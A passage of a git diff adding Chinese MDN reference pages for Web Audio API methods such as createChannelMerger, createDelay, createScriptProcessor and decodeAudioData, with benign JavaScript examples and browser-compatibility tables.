+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html new file mode 100644 index 0000000000..281dcddfe7 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html @@ -0,0 +1,143 @@ +--- +title: AudioContext.createChannelMerger() +slug: Web/API/AudioContext/createChannelMerger +tags: + - API + - Audio + - AudioContext + - Audio_Chinese +translation_of: Web/API/BaseAudioContext/createChannelMerger +--- +

{{ APIRef("Web Audio API") }}

+ +
+

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var merger = audioCtx.createChannelMerger(2);
+ +

参数

+ +
+
numberOfInputs
+
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
+
+ +

返回值

+ +

一个 {{domxref("ChannelMergerNode")}}.

+ +

(举个)栗(例)子

+ +

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html new file mode 100644 index 0000000000..f46f5be2c5 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html @@ -0,0 +1,138 @@ +--- +title: AudioContext.createChannelSplitter() +slug: Web/API/AudioContext/createChannelSplitter +translation_of: Web/API/BaseAudioContext/createChannelSplitter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

+
+ +

Syntax

+ +
var audioCtx = new AudioContext();
+var splitter = audioCtx.createChannelSplitter(2);
+ +

参数

+ +
+
numberOfOutputs
+
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
+
+ +

Returns

+ +

一个 {{domxref("ChannelSplitterNode")}}.

+ +

Example

+ +

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html new file mode 100644 index 0000000000..2cbe395edc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html @@ -0,0 +1,131 @@ +--- +title: AudioContext.createConvolver() +slug: Web/API/AudioContext/createConvolver +translation_of: Web/API/BaseAudioContext/createConvolver +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var convolver = audioCtx.createConvolver();
+ +

返回值

+ +

{{domxref("ConvolverNode")}}对象。

+ +

例子

+ +

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

+ +

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var convolver = audioCtx.createConvolver();
+
+  ...
+
+// grab audio track via XHR for convolver node
+
+var soundSource, concertHallBuffer;
+
+ajaxRequest = new XMLHttpRequest();
+ajaxRequest.open('GET', 'concert-crowd.ogg', true);
+ajaxRequest.responseType = 'arraybuffer';
+
+ajaxRequest.onload = function() {
+  var audioData = ajaxRequest.response;
+  audioCtx.decodeAudioData(audioData, function(buffer) {
+      concertHallBuffer = buffer;
+      soundSource = audioCtx.createBufferSource();
+      soundSource.buffer = concertHallBuffer;
+    }, function(e){"Error with decoding audio data" + e.err});
+}
+
+ajaxRequest.send();
+
+  ...
+
+convolver.buffer = concertHallBuffer;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html new file mode 100644 index 0000000000..b8e502758d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html @@ -0,0 +1,213 @@ +--- +title: AudioContext.createDelay() +slug: Web/API/AudioContext/createDelay +translation_of: Web/API/BaseAudioContext/createDelay +--- +

{{ APIRef("Web Audio API") }}

+ +
+

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

+ +

 

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var synthDelay = audioCtx.createDelay(maxDelayTime);
+ +

参数

+ +
+
maxDelayTime
+
设置最大允许延迟的时间,以“秒”为单位
+
+ +

返回

+ +

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

+ +

以上是原文,大意是返回延时时间,没有设置时默认是0

+ +

 

+ +

示例

+ +

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

+ +
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
+
+try {//音频相关api
+    var audioContext = new window.AudioContext();
+    var synthDelay = audioContext.createDelay(5.0);
+} catch (e) {
+    alert("你浏览器不支持");
+}
+
+
+var error = function (error) {alert("有错误"); };
+
+//以下是获取麦克风
+if (navigator.getUserMedia) { //标准api
+ navigator.getUserMedia({ "audio": true },
+ function (stream) {
+ micto(stream);    //具体工作
+                   }, error);
+}else if(navigator.webkitGetUserMedia) {   //webkit api
+ navigator.webkitGetUserMedia({audio:true, video:  false },
+ function (stream) {
+  micto(stream); //具体工作
+                   }, error);
+ }else if (navigator.mozGetUserMedia) {  //火狐 api
+ navigator.mozGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ }else if (navigator.msGetUserMedia) { //ie api
+ navigator.msGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ } else {
+   alert("您的浏览器版不支持这个api");
+}
+
+
+
+
+
+ var micto = function(stream) {
+
+  synthDelay.delayTime.value = 3.0;   //延迟3秒
+
+  var source = audioContext.createMediaStreamSource(stream);
+
+  source.connect(synthDelay);
+
+  synthDelay.connect(audioContext.destination);
+
+      }
+ 
+ +

 

+ +

 以下是英文版示例

+ +

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var synthDelay = audioCtx.createDelay(5.0);
+
+  ...
+
+var synthSource;
+
+playSynth.onclick = function() {
+  synthSource = audioCtx.createBufferSource();
+  synthSource.buffer = buffers[2];
+  synthSource.loop = true;
+  synthSource.start();
+  synthSource.connect(synthDelay);
+  synthDelay.connect(destination);
+  this.setAttribute('disabled', 'disabled');
+}
+
+stopSynth.onclick = function() {
+  synthSource.disconnect(synthDelay);
+  synthDelay.disconnect(destination);
+  synthSource.stop();
+  playSynth.removeAttribute('disabled');
+}
+
+...
+
+var delay1;
+rangeSynth.oninput = function() {
+delay1 = rangeSynth.value;
+synthDelay.delayTime.value = delay1;
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html new file mode 100644 index 0000000000..7e505bc06a --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html @@ -0,0 +1,199 @@ +--- +title: AudioContext.createScriptProcessor() +slug: Web/API/AudioContext/createScriptProcessor +translation_of: Web/API/BaseAudioContext/createScriptProcessor +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
+ +

参数

+ +
+
bufferSize
+
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
+
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
+
numberOfInputChannels
+
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
+
numberOfOutputChannels
+
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
+
+ +
+

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

+
+ +
+

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

+
+ +

返回

+ +

A {{domxref("ScriptProcessorNode")}}.

+ +

示例

+ +

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

+ +
+

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

+
+ +
var myScript = document.querySelector('script');
+var myPre = document.querySelector('pre');
+var playButton = document.querySelector('button');
+
+// Create AudioContext and buffer source
+var audioCtx = new AudioContext();
+source = audioCtx.createBufferSource();
+
+// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
+var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
+console.log(scriptNode.bufferSize);
+
+// load in an audio track via XHR and decodeAudioData
+
+function getData() {
+  request = new XMLHttpRequest();
+  request.open('GET', 'viper.ogg', true);
+  request.responseType = 'arraybuffer';
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+    myBuffer = buffer;
+    source.buffer = myBuffer;
+  },
+    function(e){"Error with decoding audio data" + e.err});
+  }
+  request.send();
+}
+
+// Give the node a function to process audio events
+scriptNode.onaudioprocess = function(audioProcessingEvent) {
+  // The input buffer is the song we loaded earlier
+  var inputBuffer = audioProcessingEvent.inputBuffer;
+
+  // The output buffer contains the samples that will be modified and played
+  var outputBuffer = audioProcessingEvent.outputBuffer;
+
+  // Loop through the output channels (in this case there is only one)
+  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
+    var inputData = inputBuffer.getChannelData(channel);
+    var outputData = outputBuffer.getChannelData(channel);
+
+    // Loop through the 4096 samples
+    for (var sample = 0; sample < inputBuffer.length; sample++) {
+      // make output equal to the same as the input
+      outputData[sample] = inputData[sample];
+
+      // add noise to each output sample
+      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
+    }
+  }
+}
+
+getData();
+
+// wire up play button
+playButton.onclick = function() {
+  source.connect(scriptNode);
+  scriptNode.connect(audioCtx.destination);
+  source.start();
+}
+
+// When the buffer source stops playing, disconnect everything
+source.onended = function() {
+  source.disconnect(scriptNode);
+  scriptNode.disconnect(audioCtx.destination);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html new file mode 100644 index 0000000000..7aef8d5688 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html @@ -0,0 +1,133 @@ +--- +title: AudioContext.createWaveShaper() +slug: Web/API/AudioContext/createWaveShaper +translation_of: Web/API/BaseAudioContext/createWaveShaper +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

+ +

语法

+ +
var audioCtx = new AudioContext();
+var distortion = audioCtx.createWaveShaper();
+ +

返回

+ +

A {{domxref("WaveShaperNode")}}.

+ +

例子

+ +

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

+ +

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

+ +
+

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var distortion = audioCtx.createWaveShaper();
+
+  ...
+
+function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+  ...
+
+distortion.curve = makeDistortionCurve(400);
+distortion.oversample = '4x';
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html new file mode 100644 index 0000000000..fbdaf4315c --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.currentTime +slug: Web/API/AudioContext/currentTime +translation_of: Web/API/BaseAudioContext/currentTime +--- +

{{ APIRef("Web Audio API") }}

+ +
+

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);
+ +

返回值

+ +

A double.

+ +

例子

+ +
+

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html new file mode 100644 index 0000000000..40693fd8cc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html @@ -0,0 +1,223 @@ +--- +title: AudioContext.decodeAudioData() +slug: Web/API/AudioContext/decodeAudioData +tags: + - API + - Audio + - audio接口 + - 音频解码 +translation_of: Web/API/BaseAudioContext/decodeAudioData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

+
+ +

这是从音频轨道创建用于web audio API音频源的首选方法。

+ +

语法

+ +

旧版的回调函数语法

+ +
audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});
+ +

新版的promise-based语法:

+ +
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});
+ +

举例

+ +

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

+ +

旧的回调语法

+ +

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

+ +

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

+ +
+

Note: You can run the example live (or view the source.)

+
+ +
// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +

新的promise-based语法

+ +
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});
+ +

参数

+ +
+
ArrayBuffer
+
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
+
DecodeSuccessCallback
+
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
+
DecodeErrorCallback
+
一个可选的错误回调函数.
+
+ +

返回

+ +

一个 {{domxref("Promise") }}对象.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
